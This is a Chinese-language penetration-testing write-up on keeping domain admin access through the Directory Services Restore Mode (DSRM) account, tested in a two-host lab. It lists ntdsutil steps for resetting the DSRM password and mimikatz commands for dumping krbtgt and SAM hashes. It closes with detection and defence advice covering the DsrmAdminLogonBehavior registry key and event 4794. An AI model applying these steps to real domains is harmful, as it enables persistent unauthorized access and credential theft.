0%

域渗透维权之DSRM

0x00前言

除了krbtgt账户外,DC上还有一个可以利用的账户:目录服务还原模式账户DSRM。本篇文章主要介绍攻击者在获取域管权限之后,利用DSRM来持久化权限的手法

0x01 简介

每个域控中都有一个本地管理账户,就是DSRM账户。DSRM(directory service restore mode目录服务还原模式账户),是Windows域环境中域控的安全模式启动选项,DSRM的作用是允许管理员在域环境出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常。

  • 域控上的本地管理员账户即目录服务还原模式账户(DSRM)
  • DSRM的密码在DC安装时设置,很少被修改,存储在SAM文件中
  • 其他域中密码包括administrator保存在NTDS.dit中
  • 修改DSRM:在DC上运行ntdsutil
  • DSRM被修改 == 域控的administrator密码hash被修改 -> 必要条件
  • 但如果修改DC的administrator的密码hash,SAM数据库的hash并不会被改变

​ 利用方式:攻击者将DSRM账户的hash与krbtgt同步,就算此时应急改变DC的administrator的密码,也可以继续利用pth哈希传递攻击。

两个条件:

  1. 此攻击需要使用DC的ntdsutil来修改DSRM账户的密码
  2. 需要修改DSRM的登录方式

因此在windows server 2000及之后对DSRM使用控制台做出了限制。

0x02 测试

测试环境

IP 描述 系统
192.168.221.139 DC windows server 2019(x64)
192.168.221.140 域管/域成员 windows 10(x64)

攻击测试

修改DSRM密码之后,抓取的Administrator的SAM数据库中的NTLM-hash就变成了DSRM账户密码。

修改DSRM有两种方法:

  1. 密码通过明文指定:ntdsutil恢复DSRM密码,并修改密码

  2. 域账户同步swanq与DSRM密码hash

我们采用同步域用户的方式,也就是第二种方式进行攻击利用,直接更改DSRM账户密码并不能实现CIFS服务查看共享目录的功能即攻击过程。

查看本机krbtgt账户的NTLM hash:44702a4f5416df5310e81e3e697feac8

查看SAM文件中本地管理员的NTLM hash-DSRM:45a524862326cb9e7d85af4017a000f0

命令集合:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
NTDSUTIL  //打开ntdsutil 
set dsrm password //设置DSRM密码
reset password on server null //在当前域控上恢复DSRM密码 <password> //修改密码,注意这里输入的是DSRM密码,而不是Administrator的密码
<password> //再次输入
q //退出DSRM密码设置模式
q //退出ntdsutil


mimikatz:
//获取krbtgt的账户密码
lsadump::dcsync /domain:wlaq.com /user:krbtgt
//获取SAM数据库的密码
token::elevate
lsadump::sam

0x04 检测

  • sysmon事件1:

在Windows server2019上注册表并未有以下项限制DSRM登录,故可在注册表中新建项:HKLM:\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior
 DSRM的三种登录方式:
 0:默认值,只有当域控重启并进入DSRM模式时,才可以使用DSRM管理员账号。
 1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控。
 2:在任何情况下,都可以使用DSRM管理员账号登录域控。
如果该值为2,说明已遭受过攻击,此时应该将注册表键值改为0并按照第一种方式重置DSRM密码

0x05防御

  1. 定期检查注册表中用于控制DSRM登录方式的键值hklm:\system\currentcontrolset\control\lsa\确认该键值为1,或者删除该键值。
  2. 定期修改域中所有域控的DSRM账号。
  3. 经常检查ID为4794的日志。尝试设置活动目录服务还原模式的管理员密码会被记录在4794日志中。

参考:

  1. https://docs.microsoft.com/zh-tw/sql/analytics-platform-system/set-admin-password-for-logging-on-to-ad-nodes-in-directory-services-restore-mode?view=aps-pdw-2016-au7
  2. https://www.at449.com/2020/04/27/2017/
  3. https://www.freebuf.com/articles/network/278999.html
你想在文章末尾对读者说的话